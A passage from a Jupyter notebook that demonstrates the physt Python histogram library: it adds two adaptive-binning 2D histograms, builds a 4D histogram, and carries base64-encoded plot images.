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\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Create and add two histograms with adaptive binning\n", "height1 = np.random.normal(180, 5, 1000)\n", "weight1 = np.random.normal(80, 2, 1000)\n", "ad1 = h2(height1, weight1, \"fixed_width\", bin_width=1, adaptive=True)\n", "ad1.plot(show_zero=False)\n", "\n", "height2 = np.random.normal(160, 5, 1000)\n", "weight2 = np.random.normal(70, 2, 1000)\n", "ad2 = h2(height2, weight2, \"fixed_width\", bin_width=1, adaptive=True)\n", "ad2.plot(show_zero=False)\n", "\n", "(ad1 + ad2).plot(show_zero=False);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## N-dimensional histograms\n", "\n", "Although is not easy to visualize them, it is possible to create histograms of any dimensions that behave similar to 2D ones. Warning: be aware that the memory consumption can be significant." ] }, { "cell_type": "code", "execution_count": 24, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/home/honza/code/my/physt/physt/util.py:74: FutureWarning:\n", "\n", "histogramdd is deprecated, use h instead\n", "\n" ] }, { "data": { "text/plain": [ "HistogramND(bins=(3, 2, 2, 3), total=1000, dtype=int64)" ] }, "execution_count": 24, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Create a 4D histogram\n", "data = [np.random.rand(1000)[:, np.newaxis] for i in range(4)]\n", "data = np.concatenate(data, axis=1)\n", "h4 = histogramdd(data, [3, 2, 2, 3], axis_names=\"abcd\")\n", "h4" ] }, { "cell_type": "code", "execution_count": 25, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "array([[[[31, 28, 33],\n", " [21, 22, 22]],\n", "\n", " [[25, 29, 28],\n", " [29, 35, 28]]],\n", "\n", "\n", " [[[20, 25, 20],\n", " [28, 32, 31]],\n", "\n", " [[30, 28, 24],\n", " [29, 21, 27]]],\n", "\n", "\n", " [[[27, 26, 33],\n", " [21, 35, 30]],\n", "\n", " [[38, 30, 32],\n", " [25, 30, 27]]]])" ] }, "execution_count": 25, "metadata": {}, "output_type": "execute_result" } ], "source": [ "h4.frequencies" ] }, { "cell_type": "code", "execution_count": 26, "metadata": {}, "outputs": [ { "data": { "image/png": "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R+prCR07duTpp5/mjTfeYM6cOVx22WXFCLmszZ49myFD9p1Uubq6mr59+3LiiSfy1ltvMXXqVAA2b97M+eefz1e/+lXGjh3Lr371q2KE3Czk80umxeDkkyd9+vTh0EMP3aesW7dudO3a9VN1DznkEHr16kXr1q0LFV6LMmjQIDp06LBP2fz58xk7NvWF7LFjxzJv3jwATjrppL3/Rscffzw7d+7k448/Lmi85e53v/sdW7bsM6ky1dXV7N69G4DFixfTvXtqUuXly5ezYcMGAFatWsUhhxzCQQcdVNiAm4lySz5+5mMt0saNG+nSpQsAXbp0YdOmT09F9fjjj3PSSSdx8MEHFzq8Fm3cuHE8+uijnyq/5JJLWLZsGZ988kkRoiouSXmf263QnHzMMli1ahWTJ0/mhRdeKHYoLcr3v/99du3axYMPPrhP+XHHHcePfvQjvvGNbxQpsuIrpec52XDysRapc+fObNiwgS5durBhwwY6dfr760dqamq46KKLeOCBBzjmmGOKGGXLcvnllzNs2DAqKvadpaVbt248+eSTXH755fsM1GlpSumWWjbKK5WaZemCCy5gzpzUixfnzJnDhRdeCMC2bds477zz+OEPf8jAgQOLGWKLcs455zB58mQuuOACduzYsbe8bdu2PPPMM0ydOpWXX365iBEWl0e7WdamT5/OLbfcwoYNG6iqquLFF19kyZIlVFVVsXbtWu666669I6wArrvuOh588EEWLlxIVVUVNTU1RYy+vIwaNYrTTjuNNWvW0L17d+677z6mTJlCdXU1PXv2pLq6milTUq+cnz59OuvWrePWW2+lX79+9OvXL+PzIPvsHnroIRYtWkSvXr149913GTduHNOnT+ewww6jurqaZcuWce+99wJQVVXFV77yFW666SaWLVvGsmXLOOKII4p8BcVRbgMO9Pd3BuWh8dQ7In4GtAJmRcQddfa3BX4NHEXqFuA/RcQvG2qzZ8+e8YMf/CBPEVtTtW/fnnPPPbfYYRhw0003MW3atGKHYX/36md9o2hdhx56aJx44olZ1X355Zdzdt58ytszH0mtgLtJvduhBlgi6amIeDOt2neBNyPifElHAGskPRgRLW84i5lZPTzarWn6A+siYj2ApEeAC0m9lKhWAIcp1Vc8FNhC6v3hZmaWppSe52Qjn8mnG/Bu2nYNMKBOnemk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